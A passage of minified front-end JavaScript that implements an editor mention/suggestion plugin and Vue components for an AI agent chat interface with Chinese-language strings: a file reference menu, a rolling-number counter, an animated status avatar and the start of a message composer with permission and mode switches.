0:e.isText)&&a.nodeBefore.text;if(!m)return null;const v=a.pos-m.length,g=Array.from(m.matchAll(p)).pop();if(!g||g.input===void 0||g.index===void 0)return null;const y=g.input.slice(Math.max(0,g.index-1),g.index),b=new RegExp(`^[${r==null?void 0:r.join("")}\0]?$`).test(y);if(r!==null&&!b)return null;const _=v+g.index;let w=_+g[0].length;return c&&u.test(m.slice(w-1,w+1))&&(g[0]+=" ",w+=1),_=a.pos?{range:{from:_,to:w},query:g[0].slice(t.length),text:g[0]}:null}function $X(s){return s.docChanged?s.steps.some(e=>{const t=e.slice;if(!(t!=null&&t.content))return!1;const n=t.content.textBetween(0,t.content.size,` +`);return/\s/.test(n)}):!1}var HX=new fn("suggestion");function UX({pluginKey:s=HX,editor:e,char:t="@",allowSpaces:n=!1,allowToIncludeChar:i=!1,allowedPrefixes:r=[" "],startOfLine:o=!1,decorationTag:a="span",decorationClass:c="suggestion",decorationContent:l="",decorationEmptyClass:u="is-empty",command:h=()=>null,items:d=()=>[],render:p=()=>({}),allow:m=()=>!0,findSuggestionMatch:v=FX,shouldShow:g,shouldResetDismissed:y}){let b;const _=p==null?void 0:p(),w=n&&!i,S=()=>{const M=e.state.selection.$anchor.pos,R=e.view.coordsAtPos(M),{top:P,right:L,bottom:z,left:Q}=R;try{return new DOMRect(Q,P,L-Q,z-P)}catch{return null}},C=(M,R)=>R?()=>{const P=s.getState(e.state),L=P==null?void 0:P.decorationId,z=M.dom.querySelector(`[data-decoration-id="${L}"]`);return(z==null?void 0:z.getBoundingClientRect())||null}:S,T=({match:M,dismissedRange:R,state:P,transaction:L})=>y!=null&&y({editor:e,state:P,range:R,match:M,transaction:L,allowSpaces:w})?!1:w?M.range.from===R.from:M.range.from===R.from&&!$X(L);function k(M,R){var P;try{const z=s.getState(M.state),Q=z!=null&&z.decorationId?M.dom.querySelector(`[data-decoration-id="${z.decorationId}"]`):null,W={editor:e,range:(z==null?void 0:z.range)||{from:0,to:0},query:(z==null?void 0:z.query)||null,text:(z==null?void 0:z.text)||null,items:[],command:V=>h({editor:e,range:(z==null?void 0:z.range)||{from:0,to:0},props:V}),decorationNode:Q,clientRect:C(M,Q)};(P=_==null?void 0:_.onExit)==null||P.call(_,W)}catch{}const L=M.state.tr.setMeta(R,{exit:!0});M.dispatch(L)}const A=new $s({key:s,view(){return{update:async(M,R)=>{var P,L,z,Q,W,V,N;const O=(P=this.key)==null?void 0:P.getState(R),H=(L=this.key)==null?void 0:L.getState(M.state),G=O.active&&H.active&&O.range.from!==H.range.from,ee=!O.active&&H.active,ie=O.active&&!H.active,ve=!ee&&!ie&&O.query!==H.query,le=ee||G&&ve,oe=ve||G,I=ie||G&&ve;if(!le&&!oe&&!I)return;const K=I&&!le?O:H,X=M.dom.querySelector(`[data-decoration-id="${K.decorationId}"]`);b={editor:e,range:K.range,query:K.query,text:K.text,items:[],command:J=>h({editor:e,range:K.range,props:J}),decorationNode:X,clientRect:C(M,X)},le&&((z=_==null?void 0:_.onBeforeStart)==null||z.call(_,b)),oe&&((Q=_==null?void 0:_.onBeforeUpdate)==null||Q.call(_,b)),(oe||le)&&(b.items=await d({editor:e,query:K.query})),I&&((W=_==null?void 0:_.onExit)==null||W.call(_,b)),oe&&((V=_==null?void 0:_.onUpdate)==null||V.call(_,b)),le&&((N=_==null?void 0:_.onStart)==null||N.call(_,b))},destroy:()=>{var M;b&&((M=_==null?void 0:_.onExit)==null||M.call(_,b))}}},state:{init(){return{active:!1,range:{from:0,to:0},query:null,text:null,composing:!1,dismissedRange:null}},apply(M,R,P,L){const{isEditable:z}=e,{composing:Q}=e.view,{selection:W}=M,{empty:V,from:N}=W,O={...R},H=M.getMeta(s);if(H&&H.exit)return O.active=!1,O.decorationId=null,O.range={from:0,to:0},O.query=null,O.text=null,O.dismissedRange=R.active?{...R.range}:R.dismissedRange,O;if(O.composing=Q,M.docChanged&&O.dismissedRange!==null&&(O.dismissedRange={from:M.mapping.map(O.dismissedRange.from),to:M.mapping.map(O.dismissedRange.to)}),z&&(V||e.view.composing)){(NR.range.to)&&!Q&&!R.composing&&(O.active=!1);const G=v({char:t,allowSpaces:n,allowToIncludeChar:i,allowedPrefixes:r,startOfLine:o,$position:W.$from}),ee=`id_${Math.floor(Math.random()*4294967295)}`;G&&m({editor:e,state:L,range:G.range,isActive:R.active})&&(!g||g({editor:e,range:G.range,query:G.query,text:G.text,transaction:M}))?(O.dismissedRange!==null&&!T({match:G,dismissedRange:O.dismissedRange,state:L,transaction:M})&&(O.dismissedRange=null),O.dismissedRange===null?(O.active=!0,O.decorationId=R.decorationId?R.decorationId:ee,O.range=G.range,O.query=G.query,O.text=G.text):O.active=!1):(G||(O.dismissedRange=null),O.active=!1)}else O.active=!1;return O.active||(O.decorationId=null,O.range={from:0,to:0},O.query=null,O.text=null),O}},props:{handleKeyDown(M,R){var P,L;const{active:z,range:Q}=A.getState(M.state);if(!z)return!1;if(R.key==="Escape"||R.key==="Esc"){const V=A.getState(M.state);return(P=_==null?void 0:_.onKeyDown)==null||P.call(_,{view:M,event:R,range:V.range}),k(M,s),!0}return((L=_==null?void 0:_.onKeyDown)==null?void 0:L.call(_,{view:M,event:R,range:Q}))||!1},decorations(M){const{active:R,range:P,decorationId:L,query:z}=A.getState(M);if(!R)return null;const Q=!(z!=null&&z.length),W=[c];return Q&&W.push(u),Bs.create(M.doc,[Mi.inline(P.from,P.to,{nodeName:a,class:W.join(" "),"data-decoration-id":L,"data-decoration-content":l})])}}});return A}function WX({editor:s,overrideSuggestionOptions:e,extensionName:t,char:n="@"}){const i=new fn;return{editor:s,char:n,pluginKey:i,command:({editor:r,range:o,props:a})=>{var c,l,u;const h=r.view.state.selection.$to.nodeAfter;((c=h==null?void 0:h.text)==null?void 0:c.startsWith(" "))&&(o.to+=1),r.chain().focus().insertContentAt(o,[{type:t,attrs:{...a,mentionSuggestionChar:n}},{type:"text",text:" "}]).run(),(u=(l=r.view.dom.ownerDocument.defaultView)==null?void 0:l.getSelection())==null||u.collapseToEnd()},allow:({state:r,range:o})=>{const a=r.doc.resolve(o.from),c=r.schema.nodes[t];return!!a.parent.type.contentMatch.matchType(c)},...e}}function yD(s){return(s.options.suggestions.length?s.options.suggestions:[s.options.suggestion]).map(e=>WX({editor:s.editor,overrideSuggestionOptions:e,extensionName:s.name,char:e.char}))}function BI(s,e){const t=yD(s),n=t.find(i=>i.char===e);return n||(t.length?t[0]:null)}var zX=Sr.create({name:"mention",priority:101,addOptions(){return{HTMLAttributes:{},renderText({node:s,suggestion:e}){var t,n;return`${(t=e==null?void 0:e.char)!=null?t:"@"}${(n=s.attrs.label)!=null?n:s.attrs.id}`},deleteTriggerWithBackspace:!1,renderHTML({options:s,node:e,suggestion:t}){var n,i;return["span",Fs(this.HTMLAttributes,s.HTMLAttributes),`${(n=t==null?void 0:t.char)!=null?n:"@"}${(i=e.attrs.label)!=null?i:e.attrs.id}`]},suggestions:[],suggestion:{}}},group:"inline",inline:!0,selectable:!1,atom:!0,addAttributes(){return{id:{default:null,parseHTML:s=>s.getAttribute("data-id"),renderHTML:s=>s.id?{"data-id":s.id}:{}},label:{default:null,parseHTML:s=>s.getAttribute("data-label"),renderHTML:s=>s.label?{"data-label":s.label}:{}},mentionSuggestionChar:{default:"@",parseHTML:s=>s.getAttribute("data-mention-suggestion-char"),renderHTML:s=>({"data-mention-suggestion-char":s.mentionSuggestionChar})}}},parseHTML(){return[{tag:`span[data-type="${this.name}"]`}]},renderHTML({node:s,HTMLAttributes:e}){const t=BI(this,s.attrs.mentionSuggestionChar);if(this.options.renderLabel!==void 0)return console.warn("renderLabel is deprecated use renderText and renderHTML instead"),["span",Fs({"data-type":this.name},this.options.HTMLAttributes,e),this.options.renderLabel({options:this.options,node:s,suggestion:t})];const n={...this.options};n.HTMLAttributes=Fs({"data-type":this.name},this.options.HTMLAttributes,e);const i=this.options.renderHTML({options:n,node:s,suggestion:t});return typeof i=="string"?["span",Fs({"data-type":this.name},this.options.HTMLAttributes,e),i]:i},...xO({nodeName:"mention",name:"@",selfClosing:!0,allowedAttributes:["id","label",{name:"mentionSuggestionChar",skipIfDefault:"@"}],parseAttributes:s=>{const e={},t=/(\w+)=(?:"([^"]*)"|'([^']*)')/g;let n=t.exec(s);for(;n!==null;){const[,i,r,o]=n,a=r??o;e[i==="char"?"mentionSuggestionChar":i]=a,n=t.exec(s)}return e},serializeAttributes:s=>Object.entries(s).filter(([,e])=>e!=null).map(([e,t])=>`${e==="mentionSuggestionChar"?"char":e}="${t}"`).join(" ")}),renderText({node:s}){const e={options:this.options,node:s,suggestion:BI(this,s.attrs.mentionSuggestionChar)};return this.options.renderLabel!==void 0?(console.warn("renderLabel is deprecated use renderText and renderHTML instead"),this.options.renderLabel(e)):this.options.renderText(e)},addKeyboardShortcuts(){return{Backspace:()=>this.editor.commands.command(({tr:s,state:e})=>{let t=!1;const{selection:n}=e,{empty:i,anchor:r}=n;if(!i)return!1;let o=new yc,a=0;return e.doc.nodesBetween(r-1,r,(c,l)=>{if(c.type.name===this.name)return t=!0,o=c,a=l,!1}),t&&s.insertText(this.options.deleteTriggerWithBackspace?"":o.attrs.mentionSuggestionChar,a,a+o.nodeSize),t})}},addProseMirrorPlugins(){return yD(this).map(UX)}}),jX=zX,VX=RX;const GX=["aria-selected"],qX=["aria-selected","onMouseenter","onMousedown"],KX={class:"file-at-item__name"},QX={class:"file-at-item__description"},XX={key:1,class:"file-at-empty"},YX={key:2,class:"file-at-empty"},JX=at({__name:"FileAtMenu",props:{visible:{type:Boolean},items:{},activeIndex:{},loading:{type:Boolean},hostMode:{type:Boolean},menuStyle:{}},emits:["select","hover"],setup(s,{expose:e}){const t=s,n=pe(null),i=ye(()=>t.hostMode),r=ye(()=>t.items||[]),o=u=>i.value?u+1:u;Xe(()=>t.visible,()=>{t.visible&&ft(()=>{const u=n.value;u&&(u.scrollTop=0)})});const a=u=>{const h=n.value;if(!h)return;const d=31,p=u*d,m=p+d;ph.scrollTop+h.clientHeight&&(h.scrollTop=m-h.clientHeight)};return e({focusActive:()=>{ft(()=>{a(t.activeIndex)})},setManualScroll:()=>{}}),(u,h)=>(F(),Wt(us,{name:"file-at-menu-motion"},{default:Vt(()=>[s.visible?(F(),$("div",{key:0,class:"file-at-menu-wrapper",role:"listbox","aria-label":"文件引用",style:Ke(s.menuStyle),onClick:h[2]||(h[2]=Ne(()=>{},["stop"]))},[E("div",{ref_key:"fileAtList",ref:n,class:"file-at-menu"},[s.hostMode?(F(),$("button",{key:0,type:"button",class:ke(["file-at-item file-at-item--picker",{"file-at-item--active":s.activeIndex===0}]),role:"option","aria-selected":s.activeIndex===0,onMouseenter:h[0]||(h[0]=d=>u.$emit("hover",0)),onMousedown:h[1]||(h[1]=Ne(d=>u.$emit("select",0),["prevent"]))},[...h[3]||(h[3]=[E("span",{class:"file-at-item__name"},"在文件管理器中选中",-1),E("span",{class:"file-at-item__description"},"选择本地文件",-1)])],42,GX)):ge("",!0),(F(!0),$(Ie,null,tt(r.value,(d,p)=>(F(),$("button",{key:d.path,type:"button",class:ke(["file-at-item",{"file-at-item--active":o(p)===s.activeIndex}]),role:"option","aria-selected":o(p)===s.activeIndex,onMouseenter:m=>u.$emit("hover",o(p)),onMousedown:Ne(m=>u.$emit("select",o(p)),["prevent"])},[E("span",KX,ae(d.name),1),E("span",QX,ae(d.path),1)],42,qX))),128)),!s.hostMode&&!r.value.length&&!s.loading?(F(),$("div",XX," 没有匹配的文件 ")):ge("",!0),s.loading?(F(),$("div",YX,"搜索中...")):ge("",!0)],512)],4)):ge("",!0)]),_:1}))}}),ZX=Qt(JX,[["__scopeId","data-v-a6111ba8"]]),eY={class:"rolling-number"},tY={class:"rolling-number__cell"},sY={class:"rolling-number__cell"},FI=38,nY=360,iY=at({__name:"RollingNumber",props:{value:{}},setup(s){const e=s,t=pe([]),n=new Map;let i=!1,r=0;const o=new Set,a=new Map;function c(h){const d=Math.max(0,Math.trunc(Number(h)||0)).toString(),p=d.length,m=new Map;for(let v=0;vt.value.map(h=>({place:h,state:n.get(h)})).filter(h=>!!h.state));function u(h){t.value=[...new Set(h)].sort((d,p)=>p-d)}return Xe(()=>e.value,async h=>{const d=c(h),p=++r;if(!i){i=!0,n.clear();for(const[w,S]of d)n.set(w,mw({top:S,bottom:S,offset:0,animate:!1,delay:0}));u(d.keys());return}const m=new Set([...n.keys(),...d.keys()]),v=Math.max(...m,0),g=[],y=[];for(const w of d.keys()){const S=a.get(w);S&&(window.clearTimeout(S),a.delete(w))}for(const w of m){const S=(v-w)*FI,C=d.get(w);if(C===void 0)continue;const T=n.get(w);if(!T){n.set(w,mw({top:C,bottom:C,offset:0,animate:!1,delay:S}));continue}T.delay=S;const k=T.top;if(k===C){T.bottom=C,T.offset=0,T.animate=!1;continue}k{a.delete(w),n.delete(w)},260);a.set(w,S)}await ft(),requestAnimationFrame(()=>{requestAnimationFrame(()=>{if(p===r){for(const w of g)w.animate=!0,w.offset=1;for(const w of y)w.animate=!0,w.offset=0}})});const b=v*FI+nY+80,_=window.setTimeout(()=>{if(o.delete(_),p===r)for(const[w,S]of d){const C=n.get(w);C&&(C.animate=!1,C.top=S,C.bottom=S,C.offset=0)}},b);o.add(_)},{immediate:!0}),xn(()=>{o.forEach(h=>window.clearTimeout(h)),o.clear(),a.forEach(h=>window.clearTimeout(h)),a.clear()}),(h,d)=>(F(),$("span",eY,[Qe(Vv,{name:"rn-place",tag:"span",class:"rolling-number__track"},{default:Vt(()=>[(F(!0),$(Ie,null,tt(l.value,p=>(F(),$("span",{key:p.place,class:"rolling-number__digit"},[E("span",{class:ke(["rolling-number__strip",{"is-animating":p.state.animate}]),style:Ke({"--rn-offset":p.state.offset,transitionDelay:p.state.delay+"ms"})},[E("span",tY,ae(p.state.top),1),E("span",sY,ae(p.state.bottom),1)],6)]))),128))]),_:1})]))}}),$I=Qt(iY,[["__scopeId","data-v-492eb155"]]),rY={key:0,class:"sa-bg",d:"M 175.959,107.000 Q 180.000,100.000 175.959,93.000 L 144.041,37.718 Q 140.000,30.718 131.917,30.718 L 68.083,30.718 Q 60.000,30.718 55.959,37.718 L 24.041,93.000 Q 20.000,100.000 24.041,107.000 L 55.959,162.282 Q 60.000,169.282 68.083,169.282 L 131.917,169.282 Q 140.000,169.282 144.041,162.282 Z"},oY=["clip-path"],aY=["innerHTML"],lY=150,cY=210,HI="transform 0.55s cubic-bezier(0.22, 1, 0.36, 1)",UI="transform 0.22s cubic-bezier(0.65, 0, 0.35, 1)",uY=at({__name:"StatusAvatar",props:{mode:{default:"idle"},toolKeys:{default:()=>[]},tracking:{type:Boolean,default:!1},size:{default:30},hexBackground:{type:Boolean,default:!1}},emits:["poke"],setup(s,{emit:e}){const t=s,n=e,i=`sa-hex-clip-${Math.random().toString(36).slice(2,9)}`,r=pe(null),o=pe(null),a=pe(null),c=pe(null),l=pe(null),u=pe(!0),h=[{key:"search",motion:"wiggle",svg:''},{key:"webpage",motion:"bob",svg:''},{key:"write",motion:"wiggle",svg:''},{key:"read",motion:"bob",svg:''},{key:"save",motion:"bob",svg:''},{key:"camera",motion:"bob",svg:''},{key:"monitor",motion:"bob",svg:''},{key:"keyboard",motion:"bob",svg:''},{key:"clipboard",motion:"bob",svg:''},{key:"command",motion:"bob",svg:''},{key:"brain",motion:"bob",svg:''},{key:"notebook",motion:"bob",svg:''},{key:"note",motion:"bob",svg:''},{key:"check",motion:"bob",svg:''},{key:"skill",motion:"bob",svg:''},{key:"persona",motion:"bob",svg:''},{key:"mcp",motion:"bob",raw:''},{key:"ask",motion:"bob",scale:3.7,svg:''},{key:"sleep",motion:"special",raw:'ZZZ'}];function d(xe){if(xe.raw)return xe.motion==="bob"?`${xe.raw}`:xe.raw;const ce=`${xe.svg}`;return`${ce}`}const p={idle:"M 0,-11 Q 0,-5.5 0,0 Q 0,5.5 0,11 Q 0,5.5 0,0 Q 0,-5.5 0,-11",blink:"M 0,0 Q 0,0 0,0 Q 0,0 0,0 Q 0,0 0,0 Q 0,0 0,0",nervousLeft:"M -10,-12 Q -2,-6 6,0 Q -2,6 -10,12 Q -2,6 6,0 Q -2,-6 -10,-12",nervousRight:"M 10,-12 Q 2,-6 -6,0 Q 2,6 10,12 Q 2,6 -6,0 Q 2,-6 10,-12",work:"M 0,0 Q 8.5,0 17,0 Q 25.5,0 34,0 Q 25.5,0 17,0 Q 8.5,0 0,0"},m={x:84,y:96},v={x:116,y:96},g={x:82,y:96},y={x:118,y:96},b={x:117,y:100};let _="idle",w="idle";function S(xe,se,ce,de){const we=3*xe,Le=3*(ce-xe)-we,He=1-we-Le,yt=3*se,At=3*(de-se)-yt,Nt=1-yt-At,It=Jt=>((He*Jt+Le)*Jt+we)*Jt;return Jt=>{let $t=Jt;for(let As=0;As<8;As++){const ut=It($t)-Jt;if(Math.abs(ut)<1e-6)return((Nt*$t+At)*$t+yt)*$t;const Hs=(3*He*$t+2*Le)*$t+we;if(Math.abs(Hs)<1e-6)break;$t-=ut/Hs}return((Nt*$t+At)*$t+yt)*$t}}const C=S(.22,1,.36,1),T=S(.65,0,.35,1);function k(xe){return(xe.match(/[-\d.]+/g)||[]).map(Number)}function A(xe){return`M ${xe[0]},${xe[1]} Q ${xe[2]},${xe[3]} ${xe[4]},${xe[5]} Q ${xe[6]},${xe[7]} ${xe[8]},${xe[9]} Q ${xe[10]},${xe[11]} ${xe[12]},${xe[13]} Q ${xe[14]},${xe[15]} ${xe[16]},${xe[17]}`}const M=new Map;function R(xe,se,ce,de=550,we=C){if(!xe)return;xe.setAttribute("d",p[se]);const Le=k(p[se]),He=k(p[ce]),yt=performance.now(),At=M.get(xe);At&&cancelAnimationFrame(At);const Nt=It=>{const Jt=Math.min((It-yt)/de,1),$t=we(Jt),As=Le.map((ut,Hs)=>ut+(He[Hs]-ut)*$t);xe.setAttribute("d",A(As)),Jt<1?M.set(xe,requestAnimationFrame(Nt)):M.delete(xe)};M.set(xe,requestAnimationFrame(Nt))}function P(){a.value&&(a.value.style.transition=HI,a.value.style.transform=`translate(${b.x}px, ${b.y}px) rotate(${lY}deg)`),c.value&&(c.value.style.transition=HI,c.value.style.transform=`translate(${b.x}px, ${b.y}px) rotate(${cY}deg)`)}function L(xe=!0){a.value&&(xe||(a.value.style.transition="none"),a.value.style.transform=`translate(${m.x}px, ${m.y}px)`,xe||(a.value.offsetWidth,a.value.style.transition="")),c.value&&(xe||(c.value.style.transition="none"),c.value.style.transform=`translate(${v.x}px, ${v.y}px)`,xe||(c.value.offsetWidth,c.value.style.transition=""))}function z(){a.value&&(a.value.style.transition=UI,a.value.style.transform=`translate(${g.x}px, ${g.y}px)`),c.value&&(c.value.style.transition=UI,c.value.style.transform=`translate(${y.x}px, ${y.y}px)`)}let Q=0,W=0,V=0,N=0,O=null;function H(xe){Q=xe.clientX,W=xe.clientY}function G(){O&&cancelAnimationFrame(O),O=null,o.value&&(o.value.style.transform="translate(0px, 0px)")}function ee(){const xe=I.value||t.mode;if(!(t.tracking&&(xe==="idle"||xe==="nervous"))||!r.value){G();return}const se=r.value.getBoundingClientRect(),ce=se.left+se.width/2,de=se.top+se.height/2,we=Q-ce,Le=W-de,He=Math.sqrt(we*we+Le*Le),yt=Math.atan2(Le,we),At=Math.min(He/180,1),Nt=Math.cos(yt)*10*At,It=Math.sin(yt)*10*At;V+=(Nt-V)*.15,N+=(It-N)*.15,o.value&&(o.value.style.transform=`translate(${V}px, ${N}px)`),O=requestAnimationFrame(ee)}let ie=null,ve=null,le=null,oe=!1;const I=pe(null);function K(){ie&&clearTimeout(ie),ie=null}function X(){ve&&clearTimeout(ve),ve=null}function J(){le&&clearTimeout(le),le=null}function he(xe){return new Promise(se=>window.setTimeout(se,xe))}function be(){if(X(),t.mode!=="idle"||I.value)return;const xe=2800+Math.random()*3600;ve=window.setTimeout(async()=>{await Re(),be()},xe)}async function Re(){if(t.mode!=="idle"||I.value||oe)return;oe=!0;const xe=Math.random()<.5?1:2;for(let se=0;se{I.value==="nervous"&&(I.value=null)},500))}function st(){t.mode==="idle"&&(n("poke"),rt())}function et(xe,se=!0){const ce=u.value&&!l.value;if(u.value=!1,!se||l.value===xe){l.value=xe;return}if(ce){l.value=null,K(),ie=window.setTimeout(()=>{l.value=xe,ie=null},160);return}if(!l.value){l.value=xe;return}l.value=null,K(),ie=window.setTimeout(()=>{l.value=xe,ie=null},160)}function De(){t.mode!=="idle"&&I.value&&(I.value=null,J());const xe=I.value||t.mode;if(xe!=="idle"&&X(),xe==="tool"){G();const we=(t.toolKeys||[]).filter(Boolean);et(we.length?we[0]:"command");return}if(K(),xe==="think"){G(),et("think");return}if(xe==="nervous")return;const se=xe==="work"?"work":"idle",ce=!!l.value;l.value=null;const de=()=>{u.value=!0,R(a.value,_,se),R(c.value,w,se),se==="work"?P():L(),_=se,w=se};ce?ie=window.setTimeout(()=>{de(),ie=null},160):de(),se==="idle"&&t.tracking?(G(),ee(),be()):(G(),X())}return Xe(()=>[t.mode,(t.toolKeys||[]).join(""),t.tracking,I.value],()=>De()),Cn(()=>{L(!1),document.addEventListener("mousemove",H),De()}),xn(()=>{document.removeEventListener("mousemove",H),G(),K(),X(),J(),M.forEach(xe=>cancelAnimationFrame(xe)),M.clear()}),(xe,se)=>(F(),$("svg",{ref_key:"svgRef",ref:r,class:ke(["status-avatar",`status-avatar--${t.mode||"idle"}`]),style:Ke({width:s.size+"px",height:s.size+"px"}),viewBox:"0 0 200 200","aria-hidden":"true",onClick:st},[t.hexBackground?(F(),$("path",rY)):ge("",!0),se[3]||(se[3]=E("path",{class:"sa-frame",d:"M 175.959,107.000 Q 180.000,100.000 175.959,93.000 L 144.041,37.718 Q 140.000,30.718 131.917,30.718 L 68.083,30.718 Q 60.000,30.718 55.959,37.718 L 24.041,93.000 Q 20.000,100.000 24.041,107.000 L 55.959,162.282 Q 60.000,169.282 68.083,169.282 L 131.917,169.282 Q 140.000,169.282 144.041,162.282 Z"},null,-1)),E("defs",null,[E("clipPath",{id:i},[...se[0]||(se[0]=[E("path",{d:"M 180,100 L 140,30.718 L 60,30.718 L 20,100 L 60,169.282 L 140,169.282 Z"},null,-1)])])]),E("g",{class:"sa-face",ref_key:"faceRef",ref:o},[E("g",{class:ke(["sa-fc sa-shared",{hidden:!u.value}])},[E("path",{class:"sa-eye",ref_key:"eyeLeftRef",ref:a,d:"M 0,-11 Q 0,-5.5 0,0 Q 0,5.5 0,11 Q 0,5.5 0,0 Q 0,-5.5 0,-11",transform:"translate(84, 96)"},null,512),E("path",{class:"sa-eye",ref_key:"eyeRightRef",ref:c,d:"M 0,-11 Q 0,-5.5 0,0 Q 0,5.5 0,11 Q 0,5.5 0,0 Q 0,-5.5 0,-11",transform:"translate(116, 96)"},null,512)],2),E("g",{class:ke(["sa-fc sa-icon",{active:l.value==="think"}])},[...se[1]||(se[1]=[E("circle",{class:"sa-think-dot",cx:"80",cy:"100",r:"7"},null,-1),E("circle",{class:"sa-think-dot",cx:"100",cy:"100",r:"7"},null,-1),E("circle",{class:"sa-think-dot",cx:"120",cy:"100",r:"7"},null,-1)])],2),E("g",{class:ke(["sa-fc sa-icon",{active:l.value==="subagent"}]),"clip-path":`url(#${i})`},[...se[2]||(se[2]=[mi('',1)])],10,oY),(F(),$(Ie,null,tt(h,ce=>E("g",{key:ce.key,class:ke(["sa-fc sa-icon",{active:l.value===ce.key}]),innerHTML:d(ce)},null,10,aY)),64))],512)],6))}}),bD=Qt(uY,[["__scopeId","data-v-05190602"]]),hY=["data-runtime-queue-id"],dY={class:"runtime-queue-item__text"},fY=["onClick"],pY=["onClick"],gY=["aria-label"],mY=["aria-selected","disabled","onMousedown"],vY={class:"skill-slash-item__name"},yY={class:"skill-slash-item__description"},bY={key:0,class:"skill-slash-empty"},_Y={key:0,class:"floating-project-status__left"},SY={class:"floating-project-status__menu-wrap"},wY={class:"floating-project-status__menu-wrap"},kY={class:"floating-project-status__right"},CY={key:0,class:"floating-project-status__notice"},TY={key:1,class:"floating-project-status__notice"},AY={class:"floating-project-status__add"},EY={class:"floating-project-status__del"},MY={class:"input-stack"},xY={key:0,class:"image-inline-row"},IY=["onClick"],RY=["src","alt"],LY=["onClick"],PY={key:1,class:"image-inline-row video-inline-row"},OY=["src","alt"],DY=["onClick"],NY={class:"input-row"},BY={class:"stadium-input-rich"},FY={class:"input-actions"},$Y={class:"input-actions-left"},HY=["disabled"],UY=["disabled","aria-expanded"],WY=["onClick"],zY={class:"agent-type-switcher__menu-label"},jY={class:"agent-type-switcher__menu-desc"},VY=["disabled","aria-expanded","title"],GY=["onClick"],qY={class:"agent-type-switcher__menu-label"},KY={class:"agent-type-switcher__menu-desc"},QY={class:"input-actions-right"},XY=["disabled","title"],YY={key:0,class:"mic-icon",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",width:"20",height:"20",fill:"none",stroke:"currentColor","stroke-width":"1.5","stroke-linecap":"round","stroke-linejoin":"round"},JY={key:1,class:"voice-wave"},ZY=["disabled"],eJ={key:0,class:"stop-icon"},tJ={key:1,class:"send-icon"},sJ=["disabled"],nJ={class:"permission-switcher__block"},iJ=["disabled","title"],rJ={key:0,class:"permission-switcher__lock",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",width:"12",height:"12",fill:"none",stroke:"currentColor","stroke-width":"2","stroke-linecap":"round","stroke-linejoin":"round","aria-hidden":"true"},oJ={class:"permission-switcher__group-title"},aJ={key:0,class:"permission-switcher__group-lock"},lJ=["disabled","onClick"],cJ={class:"permission-switcher__item-label"},uJ={class:"permission-switcher__item-desc"},hJ={class:"permission-switcher__group-title"},dJ={key:0,class:"permission-switcher__group-lock"},fJ={key:1,class:"permission-switcher__group-lock"},pJ=["disabled","onClick"],gJ={class:"permission-switcher__item-desc"},mJ=["disabled","onClick"],vJ={class:"permission-switcher__item-desc"},yJ=["disabled"],bJ={class:"context-usage-switcher__tooltip"},NC=300,_J="cubic-bezier(0.25, 0.8, 0.25, 1)",SJ=at({name:"InputComposer",__name:"InputComposer",props:{inputMessage:{},inputIsMultiline:{type:Boolean},inputIsFocused:{type:Boolean},isConnected:{type:Boolean},streamingMessage:{type:Boolean},inputLocked:{type:Boolean},uploading:{type:Boolean},thinkingMode:{type:Boolean},runMode:{},quickMenuOpen:{type:Boolean},toolMenuOpen:{type:Boolean},modeMenuOpen:{type:Boolean},modelMenuOpen:{type:Boolean},toolSettings:{},toolSettingsLoading:{type:Boolean},settingsOpen:{type:Boolean},compressing:{type:Boolean},currentConversationId:{},iconStyle:{type:Function},toolCategoryIcon:{type:Function},modelOptions:{},currentModelKey:{},selectedImages:{},selectedFiles:{},selectedVideos:{},mediaUploading:{type:Boolean},blockUpload:{type:Boolean},blockToolToggle:{type:Boolean},blockRealtimeTerminal:{type:Boolean},blockFocusPanel:{type:Boolean},blockTokenPanel:{type:Boolean},blockCompressConversation:{type:Boolean},blockConversationReview:{type:Boolean},currentPermissionMode:{},permissionMenuOpen:{type:Boolean},permissionOptions:{},executionModeEnabled:{type:Boolean},currentExecutionMode:{},executionModeOptions:{},networkPermissionEnabled:{type:Boolean},currentNetworkPermission:{},networkPermissionOptions:{},currentContextTokens:{},versioningEnabled:{type:Boolean},runtimeQueuedMessages:{},projectGitSummary:{},userQuestionMinimized:{type:Boolean},pendingUserQuestionCount:{},goalModeArmed:{type:Boolean},goalRunning:{type:Boolean},goalProgress:{},currentConversationType:{},newConversationType:{},agentTypeMenuOpen:{type:Boolean},currentWorkMode:{},workModeMenuOpen:{type:Boolean},workModeOptions:{},hostWorkspaces:{},currentHostWorkspaceId:{},hostWorkspaceSwitching:{type:Boolean},workspaceKind:{},mainChatIdle:{type:Boolean},activeSubAgentCount:{},hasPendingRuntimeGuidance:{type:Boolean},terminalCount:{},hostMode:{type:Boolean},avatarStatus:{}},emits:["update:input-message","input-change","input-focus","input-blur","toggle-quick-menu","send-message","send-or-stop","quick-upload","pick-images","pick-video","toggle-tool-menu","toggle-mode-menu","toggle-model-menu","select-run-mode","select-model","toggle-settings","update-tool-category","realtime-terminal","toggle-focus-panel","toggle-token-panel","compress-conversation","toggle-approval-panel","file-selected","paste-files","remove-image","remove-video","remove-file","open-review","open-path-authorization","toggle-permission-menu","change-permission-mode","change-execution-mode","change-network-permission","open-versioning-dialog","guide-runtime-message","delete-runtime-message","composer-height-change","restore-user-question","toggle-goal-mode","open-goal-dialog","workflow-activated","open-git-changes-panel","toggle-agent-type-menu","select-new-conversation-type","toggle-work-mode-menu","change-work-mode","new-conversation","switch-host-workspace","fetch-host-workspaces","stop-all-sub-agents"],setup(s,{expose:e,emit:t}){const n=t,i=s,r=q0(),o=qs(),a=pe(null),c=pe(null),l=pe(null),u=pe(null),h=pe(null),d=pe(0),p=pe([]),m=pe([]),v=pe(!1),g=pe(!1),y=pe(!1),b=pe(""),_=pe(0),w=pe(null),S=pe("root"),C=pe(0),T=pe(!1),k=pe(4),A=pe(!1),M=pe(null),R=pe(!1),P=um(),L=pe([]),z=pe(!1),Q=pe(!1),W=pe(!1);let V=null,N=!1,O=null,H=0;const G=pe(null),ee=pe(!1),ie=pe(null),ve=pe(0),le=pe([]),oe=pe(!1),I=pe({}),K=pe(!1);let X=null;const J=pe("");let he=null;const be=["不要!","停下来!","别戳啦!","哎呀!","你戳到我了!","轻一点嘛!","我不是按钮!","不许乱点!","呜……别戳我了……","六边形也是会痛的!","再戳我要变形了!","我会紧张的……","正在假装镇定……","Token 掉了一地!","上下文被你戳乱了!","防戳模式启动失败","系统提示:AI 被戳了一下","警告:检测到手欠行为","我记住你了!","戳回去!"],Re=ye(()=>{var U;if(A.value)return{display:"none"};const j=_.value===0&&((U=w.value)==null?void 